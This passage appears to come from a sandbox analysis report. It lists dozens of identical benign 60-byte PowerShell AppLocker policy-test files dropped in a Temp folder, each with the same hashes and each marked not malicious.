SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1lquwdk3.nnf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1sw33nuf.jy0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2gsrsrja.otm.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2um1ksua.x0s.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2xny5hdv.suy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_31duozca.a5x.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_32diwoqo.zw0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_41hzin4b.qnl.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4gidlnea.ioj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4qg3ylqg.thb.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_52ry0z4r.krq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5lvba4oa.lzy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bcp1dl5w.ic2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_brubbskd.pmu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bts5qy3n.dum.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cq2y13qs.05z.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_filg3bsn.kem.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fxvreusi.1sl.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gvskkmcc.jaj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hpmlhrna.tyu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i02hwxoy.f3q.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jkkpn3xr.jvc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kiblwhx0.4lb.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_le3d3htk.z3y.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mbnsteeo.d1v.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mmogvf2g.cnm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nc0uracz.ybw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nwzt31qj.w0n.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_obwtrypu.yot.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_olgk2ovd.h1z.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pg1w0tfz.adz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pnasfq31.j1w.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_regrbua4.eyv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rojvywag.cf5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sogqcheu.p1k.psm1

Download File

